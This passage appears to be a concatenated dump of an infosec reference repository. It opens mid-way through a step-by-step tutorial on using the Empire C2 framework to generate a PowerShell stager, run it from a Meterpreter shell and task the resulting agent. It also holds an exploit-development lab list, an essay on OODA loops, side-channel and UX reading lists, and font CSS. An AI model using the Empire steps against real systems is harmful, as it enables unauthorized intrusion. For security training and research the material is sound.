113 | 	    	* This will list all available stagers for use
114 | 	    	* For now, we are only concerned with the 'launcher' stager
115 | 	    * Type the command
116 | 	    	* 'usestager launcher'
117 | 	    * You will now be in the 'stager/launcher' menu
118 | 	    * Type the command
119 | 	    	* 'options'
120 | 	    	* This will show you all available options for the currently selected stager
121 | 	    * We want to set the options 'Listener' and 'OutFile'
122 | 	    * To enable the launcher to use our previously configured listener, issue the command
123 | 	    	* 'set Listener Test1A'
124 | 	    		* This will set our previously created listener as our new agents listener
125 | 	    * Type the command
126 | 	    	* 'set OutFile /tmp/test1'
127 | 		    	* This will store the stager command generated in a text file. After generating the stager command, we will copy it from the designated file and run it. 
128 | 	    * Verify everything is correct with the command
129 | 	    	* 'options'
130 | 		* Once verified, now type 
131 | 			* 'generate'
132 | 		* This will generate your configured&customized stager. It will be stored at the previously set file location, '/tmp/test'.
133 | 		* We then want to navigate to the txt file, open it, and copy the single line of txt. This is the encoded powershell command that will download an agent from your listener 
134 | 		-----------
135 | 		* Instantiating the agent
136 | 		* Now, go back to your meterpreter session you created earlier, and issue the command
137 | 			* 'shell'
138 | 				* This will drop you to a system shell prompt. Perfect for executing that one line powershell command.
139 | 		* Paste the command you copied earlier into the current shell prompt and hit enter. You should receive no confirmation on your windows command prompt. You should however receive a notice on your other command prompt, that you have a new agent in Empire!
140 | 		-----------
141 | 		* Interacting with the agent
142 | 		* At the Empire command menu, you should see an alert for a new agent, with a name consisting of a series of semi-random alphanumeric characters
143 | 		* To interact with and issue commands to your new agent, you must issue the following command from the main menu of the Empire command menu
144 | 			* 'agents'
145 | 		* Then
146 | 			* 'interact 'Agent_Name_Here''
147 | 		* At this point, you will be issuing commands to the selected agent. Empire is *NOT* a real time tool. Empire works by giving agents tasks to perform, and then the agents report the results to the corresponding listener. Users can issue commands and have near-real time response times through an agent, however, they should not be thought of as a real-time interactive terminals, and more as a errand-boys running tasks.
148 | 		------------
149 | 		* Using the Agent
150 | 		* Using agents are accomplished by issuing them tasks. 
151 | 		* [Agents 101 - powershellempire.com](https://www.powershellempire.com/?page_id=106)
152 | 		* Specifically, the 'usemodule' command is of specific interest.
153 | 		* If we double tap tab here,we can see all available command modules available currently.
154 | 			* Or we can check Empire's current main modules on github: [Link](https://github.com/EmpireProject/Empire/tree/master/data/module_source)
155 | 			* Most of them are very nicely documented within the code/have a brief description at the top of the file. If you are running it, you should probably know what it does.
156 | 
157 | 
158 | Tips for defending against this:
159 | 	* Procmon process logging
160 | 	* Network Logging
161 | 	* Hunting empire
162 | 


--------------------------------------------------------------------------------
/Draft/Rants&Writeups/Writeups/Lab_for_exploit_dev-basic.md:
--------------------------------------------------------------------------------
 1 | Building a Lab to practice Exploit writing(Windows XP x86)
 2 | 
 3 | 
 4 | So, this is a thing I found while doing some googling. If you wrote this, I owe you a lot of beer. I redacted the place/username as it was on a less than happy place.
 5 | 
 6 | This assumes you have an idea of ASM x86 and general exploitation methods.
 7 | 
 8 | Idea with this setup, is that you have a VM of XP SP3 running with the following software and tools installed. You look up the exploits on exploit-db and recreate them.
 9 | 
10 | 
11 | Start here:
12 | I'm designing exploit lab based on WinXP SP3. As for now I have following vulnerabilities/apps:
13 | 
14 | 1. Simple RET - Ability FTP Server (FTP) - [Writeup of Fuzzing + Exploit Dev](http://infamoussyn.com/2013/03/17/exploit-discovery-ability-ftp-server-2-34/)
15 | 2. Simple RET - FreeFloat FTP (FTP)
16 | 3. Simple RET (harder) - CesarFTP (FTP)
17 | 4. Simple RET - Easy RM to MP3 Converter (.pls)
18 | 5. Simple RET - DL-10 - Need to find copy of
19 | 6. SEH - DVDXPlayer
20 | 7. SEH - Millenium
21 | 8. SEH - Soritong
22 | 9. SEH - mp3nator
23 | 10. SEH - NNM (hard) - Need to find copy of
24 | 11. SEH + UNICODE - ALLPlayer
25 | 12. SEH (difficult) - Winamp
26 | 
27 | with following tools installed:
28 | 
29 | 1. WinDBG + MSEC.dll (!load winext\msec.dll) + byakugan (!load byakugan)
30 | 2. Immunity Debugger + mona.py (!mona)
31 | 3. OllyDBG+Plugins(SSEH+OllySnake+AdvancedOlly+OllyHeapVis+Virtual2Physical)
32 | 4. C:\Windows\system32\findjmp2.exe
33 | 5. Cygwin + perl + gdb + gcc...
34 | 6. Python26 (for IDA) + PyDbg - https://code.google.com/p/pydbgr/wiki/HowToInstall
35 | 6. Python27 (for ImmunityDebugger)+pyDbg
36 | 7. lcc-win
37 | 8. Wireshark
38 | 9. Mantra on Chrome (MoC)
39 | 10. Google-Chrome
40 | 11. Microsoft Visual C++ 2008 Express
41 | 12. Nasm
42 | 13. metasploit
43 | 14. Alpha3 (c:\Alpha3)
44 | 15. IDA
45 | 16. Sysinternals (c:\Windows\System32)
46 | 17. Proxifier Edition
47 | 18. Echo Mirage
48 | 
49 | 
50 | 


--------------------------------------------------------------------------------
/Draft/Rants&Writeups/Writeups/Maps-Models-Martial_Arts.md:
--------------------------------------------------------------------------------
 1 | -Maps, Models, and Martial Arts-
 2 | 
 3 | - (Been on my todo list for almost x years now, felt it wasn't necessary after seeing Jackson T's initial blogposts, and then his followups, but recently changed my mind after rewatching Casey Smith's talk on Cyber Cartography. ([Link](https://www.youtube.com/watch?app=desktop&v=Z0ohI8-XkZ0).
 4 | - This is being posted/shared publicly more as intellectual candy than anything else to be clear.
 5 | - Nothing said here is new, and arguably(not really arguable, just saying) Jackson did a much better of describing roughly the same/similar concepts([Link](https://jackson_t.gitlab.io/operational-mental-models.html)). So, YMMV.
 6 | 
 7 | 
 8 | Gist: By taking a 10/100k foot overview look at the application of OODA loops, US military strategic doctrine, and martial arts to create a loose methodology to help define strategic goals, and tactics to achieve them during 'operations'
 9 | 	Further:
10 | 			Operating in a 'combat space' where the 'land'/area of operations is a known, understandable, observable and verifiable quantity.
11 | 			There may be areas of unknown, but it does not expand once the engagement has begun, nor does it diminish. It's size and scope remains constant.
12 | 			In this case, the area of operation is the domain of computing hardware and software.
13 | - _
14 | 	- For this, I make several statements as a foundation:
15 | 		1. Computer operations occur inside a constrained space. All variables/context is capable of being known, there are no 'unknown' values from an _objective_ PoV(if you have full access to a machine, you can see and understand all parts of it, not practically guaranteed, but it is possible)
16 | 		
17 | 		2. As such, it is possible to take into consideration all operations and tactics that may be used by an attacker/defender at each point during an action.
18 | 		
19 | 		3. With this in mind, it is beneficial to understand the full context of the system which an operation is taking place, so that operations may be more efficient when making tactical choices. Idea being you understand the implications of each action, and what doors open/close upon performing each.
20 | 
21 | 		4. With a full understanding of the context of the system in which operations are taking place, it is possible to model the entire system for approximating impact and results of various tactics - (analogy is cuboidal space in a physical altercation)
22 | 
23 | 		5. One can use then use OODA loops to help choose the most 'correct' action given that the system is modeled and understood, one can be more specific/nuanced in their decision of actions.
24 | 
25 | 		6. Stepping back, we have modeled the 'field of operations' and are using OODA loops to help augment decision making. We then add in the '5 Ds' (https://foreignpolicy.com/2013/04/12/the-five-deadly-ds-of-the-air-forces-cyber-arsenal/) and apply that concept to the operations performed, to augment our overall strategy. (Or insert whatever overall strategy you wish, going for US because am US citizen :p)
26 | 
27 | 		7. We also pull in the concept of 'negative space'([Link](https://en.wikipedia.org/wiki/Negative_space)) and Newton's 4th law ([Link](https://www.physicsclassroom.com/class/newtlaws/Lesson-4/Newton-s-Third-Law) - `For every action, there is an equal and opposite reaction.`
28 | 			- Reasons being that operations are designed with the idea that all actions will entail a chain of actions, all of which should be expected, planned for, and understood. The goal being that this is taken into consideration during planning and is used as a means of defense or obfuscation in an attempt to mislead the analysis of the operation/maneuver
29 | 
30 | 		8. Summing it all up with creating a 'simple methodology' for walking through the process before and during an operation (for defense and offense); using OODA loops to make it 'simple'
31 | 
32 | Links for context:
33 | OODA loops talk by Jackson T: http://jackson-t.ca/ooda-loops.html
34 | Definition of strategy i'm using: https://hbr.org/books/playing-to-win
35 | Negative Space: https://en.wikipedia.org/wiki/Negative_space
36 | The 5 Ds: https://foreignpolicy.com/2013/04/12/the-five-deadly-ds-of-the-air-forces-cyber-arsenal/
37 | 
38 | 
39 | Since this was never fully fleshed out, and was shared in a private conversation, I have included the discussion as I feel it helps flesh out my thinking and approach. Names redacted for politeness.
40 | 
41 | 
42 | Convo:
43 | ```
44 | Person A:
45 | - I agree in theory that all possible actions in a digital space are knowable, but in practice, classifying more advanced actions into benign and malicious ones tends to be non-trivial for both offense and defense.
46 | - Being able to model and simulate the system is definitely helpful and possible. Can you elaborate on your analogy?
47 | - With the 5 D's, would you consider those outside of the OODA loop or within it?
48 | 
49 | It's awesome seeing your thought process around this. If you don't mind me asking, what led you to this style of thinking and is that something you get to apply in your current role?
50 | ```
51 | My response:
52 | ```
53 | Sure, np!
54 | 
55 | 1. Absolutely. I plan to adopt a 21pt scale, similar to the one espoused in "Applied Network Security Monitoring", using ranges of 7 for 'low-med-high', with 7pts being assigned per each to help with the variance. The goal is not to be necessarily precise but approximate.
56 | It is not like ATT&CK where the idea is to map techniques to specific phases, or document specific techniques. That would be separate/additional to this.
57 | An example would be 'I decided that in the context of situation A, the best course of action to reach the goal was action Z, which was determined by the operator to have a risk of 15. I say this because of HIJ.' and then expanding on each of those statements to a 'reasonable' degree; I'm aiming more for an analysis framework than a hard and fast end-to-end comprehensive methodology.
58 | 2. Sure, so the idea is that without a model of an environment or concept, it is a free form idea. There are no immediate constraints to it, beyond that which is inherent to the idea. So by creating a model, you place constraints on it, and force them to be recognized. This can help re-inforce pre-existing conditions which must be understood and operated around.
59 | An example of this would be your talk in discussing the '<snip>' tool. My takeaway was that you created/helped create that tool after creating a model for the operations an EDR performs within the greater context of the Windows User environment. By studying that model which you created/built, you were then able to build a tool based off of the model you created. You also now have a model of EDR operations and techniques, to help in further studies/operations.
60 | Taking the application to the framework would be modeling the routes an individual/operator might take to achieve the stated goal based on their understanding. So a very loose example could be modeling the network with VMs and software, creating a full simulation, or doing the same with paper. Creating a diagram to show the network, noting each node with specific information about it, and applying a general template across. The idea being of performing something like a tabletop against the network in preparation.
61 | In doing so, you would need to go a certain depth in the simulation bit, such that you would choose or state a specific technique and the implications thereof, what artifacts it might leave, and why you believe it is 'safe' or worthwhile to perform. This would then be checked against the endpoint/target information (assuming its not already available) and contrasted to see the 'theoretical' effectiveness of the technique/tactic. This would be backed up by actual testing within a lab, so that the stated claims are validated and proven.
62 | You would continue this, until the goal is reached. (so pretty much a tabletop)
63 | Alternatively, a smaller example would be your assumed work on the <snip> tool, you studied how EDRs worked, modeled their operation, and looked to see how you might undermine it. Taking a step back from that, and instead saying, let's model the process execution environment in windows, so that we can understand the entirety of the holistic process, and be better able to identify means of undermining and reinforcement. 
64 | Once that has been modeled, you can then use that model in your larger model for host-based operations, and be better equipped to understand what tactics will be most effective in X situation. You did this in your OODA loop talk/paper with EDR systems.
65 | The longer version of the analogy I prefer to use is in terms of physical combat, with two combatants facing off against one another, and the ideas of Timing, Distance, Angles, and Leverage. Each item can be measured and monitored, and therefore, 'expected' in a certain way. One can know how long it takes to move x distance, or punch z distance. With this in mind, you can make your movements much more nuanced and efficient, as you understand how to 'properly' move. 
66 | Taking that idea and applying it to computers. Using modeling like you demonstrated in understanding EDR operations. Being able to justify and explain courses of action in terms of expected/observed conditions to a degree beyond, "I ran the binary through shellter because how else am I gonna evade AV?" The goal is to avoid that and work towards creating an understanding there rather than a lack of deeper knowledge.
67 | 
68 | 3. I would consider those as embedded within the entire process. I subscribe to the "Playing to Win" definition/approach to strategy, (https://www.flowresulting.nl/wp-content/uploads/2017/10/figuur1-vijf-keuzes.png) and as such, I feel that the 5Ds are more (sub)goals than processes. They are something to be asked of during the selection of a task/procedure vs during the middle of a task/procedure. Similar to a 'feeling', it is omni-present or 'ethereal' in its existence. They should be included in the performance/planning of tasks/operations such that the entire operations/task fulfills or takes into credence all of them, and focusing on whichever is the most appropriate at the time.
69 | ```
70 | 
71 | 


--------------------------------------------------------------------------------
/Draft/Reverse Engineering - REMath Literature.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Reverse Engineering - REMath Literature.md


--------------------------------------------------------------------------------
/Draft/Rootkits.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rmusser01/Infosec_Reference/4bdf90b0b98b7641140f9bf3950addc42d1861db/Draft/Rootkits.md


--------------------------------------------------------------------------------
/Draft/SCA.md:
--------------------------------------------------------------------------------
 1 | # Side-Channel Attacks
 2 | 
 3 | #### Table of Contents
 4 | 
 5 | 
 6 | 
 7 | 
 8 | 
 9 | * [Exploiting CVE-2018-1038 - Total Meltdown - Adam Chester](https://blog.xpnsec.com/total-meltdown-cve-2018-1038/)
10 | 
11 | * [NetSpectre: Read Arbitrary Memory over Network - Michael Schwarz, Martin Schwarzl, Moritz Lipp, Jon Masters, Daniel Gruss](https://misc0110.net/web/files/netspectre.pdf)
12 | 	* Abstract. All Spectre attacks so far required local code execution. We present the first fully remote Spectre attack. For this purpose, we demonstrate the first access-driven remote Evict+Reload cache attack over the network, leaking 15 bits per hour. We present a novel high-performance AVX-based covert channel that we use in our cache-free Spectre attack. We show that in particular remote Spectre attacks perform significantly better with the AVX-based covert channel, leaking 60 bits per hour from the target system. We demonstrate practical NetSpectre attacks on the Google cloud, remotely leaking data and remotely breaking ASLR.
13 | 
14 | 
15 | Zombieload/RIDL
16 | 	https://www.cyberus-technology.de/posts/2019-05-14-zombieload.html
17 | 	https://www.redhat.com/en/blog/understanding-mds-vulnerability-what-it-why-it-works-and-how-mitigate-it
18 | 	https://seclists.org/bugtraq/2019/May/0
19 | 
20 | 
21 | * [Understanding Microarchitectural Data Sampling (aka MDS, ZombieLoad, RIDL & Fallout) from Red Hat](https://www.youtube.com/watch?time_continue=2&v=Xn-wY6Ir1hw)
22 | 	* Microarchitectural Data Sampling—also known as MDS, ZombieLoad, RIDL & Fallout—is a set of Intel processor-based vulnerabilities that allows unauthorized users to access data used by other programs, containers, and virtual machines. In this video,Red Hat computer architect Jon Masters provides a technical overview on how the flaw works and what companies can do about it.
23 | 
24 | 
25 | ---------------------
26 | ### Side-Channel Attacks
27 | * **Analysis**
28 | 	* **Tools**
29 | 		* [ChipWhisperer](http://www.newae.com/chipwhisperer)
30 | 			* ChipWhisperer is the first ever open-source solution that provides a complete toolchain for research and analysis of embedded hardware security. Side Channel Power Analysis, Clock Glitching, VCC Glitching, and more are all possible with this unique tool.
31 | * **CPU**
32 | * **Electricity/Power-Based**
33 |     * [Get Your Hands Off My Laptop: Physical Side-Channel Key-Extraction Attacks On PCs](http://www.tau.ac.il/~tromer/handsoff/)
34 |         * We demonstrated physical side-channel attacks on a popular software implementation of RSA and ElGamal, running on laptop computers. Our attacks use novel side channels and are based on the observation that the "ground" electric potential in many computers fluctuates in a computation-dependent way. An attacker can measure this signal by touching exposed metal on the computer's chassis with a plain wire, or even with a bare hand. The signal can also be measured at the remote end of Ethernet, VGA or USB cables. Through suitable cryptanalysis and signal processing, we have extracted 4096-bit RSA keys and 3072-bit ElGamal keys from laptops, via each of these channels, as well as via power analysis and electromagnetic probing. Despite the GHz-scale clock rate of the laptops and numerous noise sources, the full attacks require a few seconds of measurements using Medium Frequency signals (around 2 MHz), or one hour using Low Frequency signals (up to 40 kHz).
35 |     * [An Inside Job: Remote Power Analysis Attacks on FPGAs](https://eprint.iacr.org/2018/012.pdf)
36 | * **Attacks On Memory(RAM)**
37 | 	* **Rowhammer**
38 | 		* [Exploiting the DRAM rowhammer bug to gain kernel privileges](https://googleprojectzero.blogspot.com/2015/03/exploiting-dram-rowhammer-bug-to-gain.html)
39 | 		* [Row hammer - Wikipedia](https://en.wikipedia.org/wiki/Row_hammer)
40 | 		* [Another Flip in the Wall of Rowhammer Defenses](https://arxiv.org/abs/1710.00551)
41 | 		* [rowhammer.js](https://github.com/IAIK/rowhammerjs)
42 | 			* Rowhammer.js - A Remote Software-Induced Fault Attack in JavaScript
43 | 		* [Rowhammer.js: A Remote Software-Induced Fault Attack in JavaScript](https://link.springer.com/chapter/10.1007/978-3-319-40667-1_15)
44 | 		* [Flipping Bits in Memory Without Accessing Them: An Experimental Study of DRAM Disturbance Errors](https://www.ece.cmu.edu/~safari/pubs/kim-isca14.pdf)
45 | 			* Abstract. Memory isolation is a key property of a reliable and secure computing system — an access to one memory ad- dress should not have unintended side e ects on data stored in other addresses. However, as DRAM process technology scales down to smaller dimensions, it becomes more diffcult to prevent DRAM cells from electrically interacting with each other. In this paper, we expose the vulnerability of commodity DRAM chips to disturbance errors. By reading from the same address in DRAM, we show that it is possible to corrupt data in nearby addresses. More specifically, activating the same row in DRAM corrupts data in nearby rows. We demonstrate this phenomenon on Intel and AMD systems using a malicious program that generates many DRAM accesses. We induce errors in most DRAM modules (110 out of 129) from three major DRAM manufacturers. From this we conclude that many deployed systems are likely to be at risk. We identify the root cause of disturbance errors as the repeated toggling of a DRAM row’s wordline, which stresses inter-cell coupling e ects that accelerate charge leakage from nearby rows. We provide an extensive characterization study of disturbance errors and their behavior using an FPGA-based testing plat- form. Among our key findings, we show that (i) it takes as few as 139K accesses to induce an error and (ii) up to one in every 1.7K cells is susceptible to errors. After examining var- ious potential ways of addressing the problem, we propose a low-overhead solution to prevent the errors.
46 | * **Sound-Based**
47 |     * [RSA Key Extraction via Low-Bandwidth Acoustic Cryptanalysis](http://www.tau.ac.il/~tromer/acoustic/)
48 |         * Here, we describe a new acoustic cryptanalysis key extraction attack, applicable to GnuPG's current implementation of RSA. The attack can extract full 4096-bit RSA decryption keys from laptop computers (of various models), within an hour, using the sound generated by the computer during the decryption of some chosen ciphertexts. We experimentally demonstrate that such attacks can be carried out, using either a plain mobile phone placed next to the computer, or a more sensitive microphone placed 4 meters away.
49 | 


--------------------------------------------------------------------------------
/Draft/UX.md:
--------------------------------------------------------------------------------
 1 | # UX/UI Design
 2 | 
 3 | ## Because we all know how sexy using PGP is.
 4 | 
 5 | ----------------------
 6 | #### ToC
 7 | * [General](#general)
 8 | * [Books](#books)
 9 | * [Talks/Presentations](#talks)
10 | * [Websites/Organizations](#web)
11 | 
12 | 
13 | UX Strategy: How to Devise Innovative Digital Products that People Want 
14 | Mapping Experiences: A Complete Guide to Creating Value through Journeys, Blueprints, and Diagrams
15 | How to Make Sense of Any Mess: Information Architecture for Everybody
16 | The Elements of User Experience: User-Centered Design for the Web and Beyond (2nd Edition) (Voices That Matter)
17 | Articulating Design Decisions: Communicate with Stakeholders, Keep Your Sanity, and Deliver the Best User Experience
18 | UX Research: Practical Techniques for Designing Better Products
19 | Lean UX: Applying Lean Principles to Improve User Experience
20 | Information Architecture: For the Web and Beyond
21 | 
22 | * [Welcome to The HTML Hell Page - catb.org](http://www.catb.org/~esr/html-hell.html)
23 | 
24 | * [Re-approaching Color - Kevyn Arnott](https://design.lyft.com/re-approaching-color-9e604ba22c88)
25 | 
26 | 
27 | 
28 | 
29 | ---------------------------
30 | ### General User Interface/User Experience Design
31 | * **Articles**
32 | 	* [How Technology Hijacks People’s Minds — from a Magician and Google’s Design Ethicist](http://www.tristanharris.com/2016/05/how-technology-hijacks-peoples-minds%E2%80%8A-%E2%80%8Afrom-a-magician-and-googles-design-ethicist/)
33 | 	* [The Complete Moral Bankruptcy of Manipulating Human Psychology To Turn Users Into Addicts](https://hackernoon.com/the-complete-moral-bankruptcy-of-manipulating-human-psychology-to-turn-users-into-addicts-d09b98281ef)
34 | 	* [abovethefold.fyi](http://abovethefold.fyi/)
35 | * **Style Critiques**
36 | 	* [TurboTax: a critical analysis & UX design teardown - Brandon Read](https://uxdesign.cc/turbotax-design-1a37356adc61)
37 | 	* [How to Design for the Modern Web](https://medium.com/s/silicon-satire/how-to-design-for-the-modern-web-52eaa926bae2)
38 | * **General**
39 | 	* [User Interface - Wikipedia](https://en.wikipedia.org/wiki/User_interface)
40 | 	* [User Interface Design - Wikipedia](https://en.wikipedia.org/wiki/User_interface_design)
41 | 	* [UI Patterns](http://ui-patterns.com/)
42 | 	* [Principals of User Interface Design](https://en.wikipedia.org/wiki/Principles_of_user_interface_design)
43 | 	* [User Interface Design Basics - usability.gov](https://www.usability.gov/what-and-why/user-interface-design.html)
44 | 	* [Devour The Pie(chart)](https://static1.squarespace.com/static/56713bf4dc5cb41142f28d1f/t/5694d249d82d5e959757455f/1452593763812/devourThePie3.gif?format=1500w)
45 | * **Books**
46 | 	* [The Design of Everyday Things](http://www.jnd.org/books/design-of-everyday-things-revised.html)
47 | 		* This book is extraordinary not only in the fact that its a crash course on UI/UX design but also for the fact that almost anyone can read it and understand the principles it talks about.
48 | 	* Emotional Design
49 | 	* Don't Make me think
50 | 	* [The Visual Display of Quantitative Information](https://www.edwardtufte.com/tufte/books_vdqi)
51 | 	* [Field Guide for Designing Human Interaction With Intelligent Systems - Carroll G. Thronesbery and Jane T. Malin - NASA](https://ntrs.nasa.gov/api/citations/19980210012/downloads/19980210012.pdf)
52 | * **Talks & Presentations**
53 | 	* [UI Fundamentals for Programmers by Ryan Singer](https://vimeo.com/6702766)
54 | * **Websites/Organizations**
55 | 	* [Dark Patterns: fighting user deception worldwide](http://darkpatterns.org/)
56 | 		* A Dark Pattern is a user interface that has been carefully crafted to trick users into doing things, such as buying insurance with their purchase or signing up for recurring bills.
57 | 	* [Nielsen Norman Group](http://www.nngroup.com)
58 | 		* Evidence-Based User Experience Research, Training, and Consulting; check articles and guidelines, ignore other sections
59 | 


--------------------------------------------------------------------------------
/Draft/_sidebar.md:
--------------------------------------------------------------------------------
 1 | - [Pre-ATT&CK](ATT%26CK-Stuff/Pre-ATT%26CK)
 2 | - [ATT&CK Stuff](./ATT%26CK-Stuff/ATT%26CK)
 3 | - [Attacking & Securing Active Directory](./Active_Directory.md)
 4 | - [Anonymity/OpSec/Privacy](./AnonOpSecPrivacy.md)
 5 | - [:beginner: Basic Security Information :beginner:](./Basic.md)
 6 | - [BIOS/UEFI/Firmware Attacks/Defense](./bios_uefi.md)
 7 | - [:hammer:Building a Testing Lab:hammer:](./Building_A_Lab.md)
 8 | - [:car: Car hacking :car:](./Cars.md)
 9 | - [:money_with_wings:Career:money_with_wings:](./Career.md)
10 | - [Cheat Sheets](./Cheats.md)
11 | - [Cloud](./Cloud.md)
12 | - [:video\_camera:Conferences/Recordings:video\_camera:](./Conferences.md)
13 | - [:bento:Containers:bento:](./Containers.md)
14 | - [:star:Courses & Training:star:](./Courses_Training.md)
15 | - [:game\_die:Cryptography & Encryption:game\_die:](./CandE.md)
16 | - [:checkered\_flag: CTFs & Wargames :checkered\_flag:](./CTFs_Wargames.md)
17 | - [Darknets](./Darknets.md)
18 | - [Data Anaylsis & Visualization](./DataVis.md)
19 | - [:sunrise: Defense :sunrise:](./Defense.md)
20 | - [:newspaper: Documentation & Reporting :newspaper:](./Docs_and_Reports.md)
21 | - [Embedded Device Security](./Embedded.md)
22 | - [Exfiltration](./Exfiltration.md)
23 | - [:rainbow: Exploit Development :rainbow:](./Exploit_Dev.md)
24 | - [Forensics & Incident Response](./DFIR.md)
25 | - [:bug: Fuzzing & Bug Hunting :bug:](./Fuzzing.md)
26 | - [:video\_game: Game Hacking :video\_game:](./Games.md)
27 | - [:honey\_pot:Honeypots:honey\_pot:](./honeypot.md)
28 | - [Interesting Things & Useful Information](./Stuff.md)
29 | - [Logging, Monitoring, & Threat Hunting](./L-SM-TH.md)
30 | - [:skull:Malware:skull:](./Malware.md)
31 | - [:warning:Network Attacks & Defense:warning:](./Network_Attacks.md)
32 | - [:triangular\_flag\_on\_post:Network Security Monitoring & Logging:triangular\_flag\_on\_post:](./L-SM-TH.md)
33 | - [:telescope:Open Source Intelligence Gathering - OSINT:telescope:](./Osint.md)
34 | - [Passwords](./Passwords.md)
35 | - [:fishing\_pole\_and\_fish:Phishing:fishing\_pole\_and\_fish:](./Phishing.md)
36 | - [:door:Physical Security:door:](./Physical_Security.md)
37 | - [Privilege Escalation and Post-Exploitation](./PrivescPostEx.md)
38 | - [AppSec/Programming Stuff](./Programming_Language_Security.md)
39 | - [:lemon:Rants & Writeups:lemon:](./Rants%26Writeups)
40 | - [:izakaya\_lantern: Red Teaming/Penetration Testing Stuff :izakaya\_lantern:](./RT.md)
41 | - [REMATH Reverse Engineering](./Reverse%20Engineering%20-%20REMath%20Literature.md)
42 | - [Reverse Engineering](./RE.md)
43 | - [Rootkits](./Rootkits.md)
44 | - [:smiley:Social Engineering:smiley:](./SE.md)
45 | - [:nut\_and\_bolt: System Internals \(Linux/Windows\) :nut\_and\_bolt:](./sysinternals.md)
46 | - [Threat Modeling](./threatmodel.md)
47 | - [:fire:UI/UX Design:fire:](./UX.md)
48 | - [:sunflower: Web :sunflower:](./Web.md)
49 | - [:signal\_strength: Wireless Networks and RF Devices :signal\_strength:](./Wireless.md)
50 | - Notable Policy Docs
51 |   - [Insurance Data Security Model Law](http://www.naic.org/documents/committees_ex_cybersecurity_tf_exposure_mod_draft_clean.pdf) 
52 |   - [NIST Cyber Security Framework](https://www.nist.gov/cyberframework)
53 |   - [PCI-DSS V3.2.1](https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf)
54 |  


--------------------------------------------------------------------------------
/Draft/css/gfont.css:
--------------------------------------------------------------------------------
  1 | /* cyrillic-ext */
  2 | @font-face {
  3 |   font-family: 'Roboto Mono';
  4 |   font-style: normal;
  5 |   font-weight: 400;
  6 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_SeW-AJi8SJQtQ4Y.woff) format('woff');
  7 |   unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
  8 | }
  9 | /* cyrillic */
 10 | @font-face {
 11 |   font-family: 'Roboto Mono';
 12 |   font-style: normal;
 13 |   font-weight: 400;
 14 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_QOW-AJi8SJQtQ4Y.woff) format('woff');
 15 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
 16 | }
 17 | /* greek */
 18 | @font-face {
 19 |   font-family: 'Roboto Mono';
 20 |   font-style: normal;
 21 |   font-weight: 400;
 22 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_R-W-AJi8SJQtQ4Y.woff) format('woff');
 23 |   unicode-range: U+0370-03FF;
 24 | }
 25 | /* vietnamese */
 26 | @font-face {
 27 |   font-family: 'Roboto Mono';
 28 |   font-style: normal;
 29 |   font-weight: 400;
 30 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_S-W-AJi8SJQtQ4Y.woff) format('woff');
 31 |   unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;
 32 | }
 33 | /* latin-ext */
 34 | @font-face {
 35 |   font-family: 'Roboto Mono';
 36 |   font-style: normal;
 37 |   font-weight: 400;
 38 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_SuW-AJi8SJQtQ4Y.woff) format('woff');
 39 |   unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;
 40 | }
 41 | /* latin */
 42 | @font-face {
 43 |   font-family: 'Roboto Mono';
 44 |   font-style: normal;
 45 |   font-weight: 400;
 46 |   src: url(https://fonts.gstatic.com/s/robotomono/v13/L0xuDF4xlVMF-BfR8bXMIhJHg45mwgGEFl0_3vq_ROW-AJi8SJQt.woff) format('woff');
 47 |   unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
 48 | }
 49 | /* cyrillic-ext */
 50 | @font-face {
 51 |   font-family: 'Source Sans Pro';
 52 |   font-style: normal;
 53 |   font-weight: 300;
 54 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwmhdu3cOWxy40.woff2) format('woff2');
 55 |   unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;
 56 | }
 57 | /* cyrillic */
 58 | @font-face {
 59 |   font-family: 'Source Sans Pro';
 60 |   font-style: normal;
 61 |   font-weight: 300;
 62 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwkxdu3cOWxy40.woff2) format('woff2');
 63 |   unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;
 64 | }
 65 | /* greek-ext */
 66 | @font-face {
 67 |   font-family: 'Source Sans Pro';
 68 |   font-style: normal;
 69 |   font-weight: 300;
 70 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwmxdu3cOWxy40.woff2) format('woff2');
 71 |   unicode-range: U+1F00-1FFF;
 72 | }
 73 | /* greek */
 74 | @font-face {
 75 |   font-family: 'Source Sans Pro';
 76 |   font-style: normal;
 77 |   font-weight: 300;
 78 |   src: url(https://fonts.gstatic.com/s/sourcesanspro/v18/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zwlBdu3cOWxy40.woff2) format('woff2');
 79 |   unicode-range: U+0370-03FF;
 80 | }
 81 | /* vietnamese */
 82 | @font-face {
